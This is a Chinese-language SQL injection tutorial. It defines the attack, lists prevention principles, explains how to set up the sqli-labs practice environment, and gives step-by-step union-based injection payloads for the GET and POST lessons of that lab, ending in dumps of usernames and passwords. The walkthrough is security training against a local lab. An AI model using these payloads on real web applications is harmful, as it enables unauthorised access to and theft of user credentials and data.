一、SQL注入是什么
SQL注入是一種注入攻擊手段,通過執行惡意SQL語句,進而將任意SQL代碼插入數據庫查詢,從而使攻擊者完全控制Web應用程序后台的數據庫服務器。攻擊者可以使用SQL注入漏洞繞過應用程序驗證,比如繞過登錄驗證登錄Web身份驗證和授權頁面;也可以繞過網頁,直接檢索數據庫的所有內容;還可以惡意修改、刪除和增加數據庫內容。
二、防止SQl注入的思路和方法
- 1.永遠不要信任用戶的輸入。對用戶的輸入進行校驗,可以通過正則表達式,或限制長度;對單引號和 雙"-"進行轉換等。
- 2.永遠不要使用動態拼裝SQL,可以使用參數化的SQL或者直接使用存儲過程進行數據查詢存取。
- 3.永遠不要使用管理員權限的數據庫連接,為每個應用使用單獨的權限有限的數據庫連接。
- 4.不要把機密信息直接存放,加密或者hash掉密碼和敏感的信息。
- 5.應用的異常信息應該給出盡可能少的提示,最好使用自定義的錯誤信息對原始錯誤信息進行包裝
三、環境搭建
1.下載地址
SQLiLabs源碼下載:https://github.com/Audi-1/sqli-labs
使用phpstudy搭建: https://www.xp.cn/
phpStudy是一個PHP調試環境的程序集成包。恰好我們可以用到”PHP+Mysql+Apache”
2.配置
將之前下載的源碼解壓到phpstudy安裝目錄下的www目錄下,修改sql-connections/db-creds.inc文件當中的mysql賬號密碼!默認的mysql數據庫地址是“127.0.0.1 或 localhost”,用戶名和密碼都是”root”。主要是修改’$dbpass參數並保存
<?php //give your mysql connection username n password $dbuser ='root'; $dbpass ='123456'; $dbname ="security"; $host = '127.0.0.1'; $dbname1 = "challenges"; ?>
打開瀏覽器http://localhost/sqli-labs-master/ 訪問首頁,並點擊“Setup/reset Database”以創建數據庫,創建表並填充數據
3.注意
現在phpstudy軟件由於版本比較高,默認PHP版本已經到了7.4,使用會有問題,所以再使用之前一定要切換到老版本,我這里使用的是PHP5.3
四、實操練習
GET字符型注入 Less-1 1.確定分隔符是 單引號 或者 雙引號 http://localhost/sqli-labs-master/Less-1/?id=2' 2.確定表的 字段數(列數) -- - http://localhost/sqli-labs-master/Less-1/?id=2' order by 3 -- - -- - 注釋符號 3.占位符判斷 判斷后端代碼 取接口那幾列數據 http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,3 -- - 4.查詢數據庫名 http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,version(),database() -- - 5.查詢表名 http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(table_name),2 from information_schema.tables where table_schema='security' -- - 6.查詢列名 http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(column_name),2 from information_schema.columns where table_schema='security' and table_name='users' -- - 7.查詢感興趣的表數據 http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users -- - POST 字符型注入 Less-11 1.確定閉合符號 url: http://localhost/sqli-labs-master/Less-11/ data:uname=admin'&passwd=admin&Submit=submit 報錯即可確定閉合符號 2.確定列數 url: http://localhost/sqli-labs-master/Less-11/ data:uname=admin' order by 1 -- - &passwd=xxxxxx&Submit=submit 3.占位符判斷,判讀給那個位置 url: http://localhost/sqli-labs-master/Less-11/ data:uname=admin' union select 1,2 -- - &passwd=xxxxxx&Submit=submit 4.數據庫名 url: http://localhost/sqli-labs-master/Less-11/ data:uname=-admin' union select 1,database() -- - &passwd=xxxxxx&Submit=submit 5.查表名 url: http://localhost/sqli-labs-master/Less-11/ data:uname=-admin' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' -- -&passwd=xxxxxx&Submit=submit 6.查字段名 url: http://localhost/sqli-labs-master/Less-11/ data:uname=-admin' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' -- -&passwd=xxxxxx&Submit=submit 7.查詢數據 url: http://localhost/sqli-labs-master/Less-11/ data:uname=-admin' union select group_concat(username),group_concat(password) from users -- -&passwd=xxxxxx&Submit=submit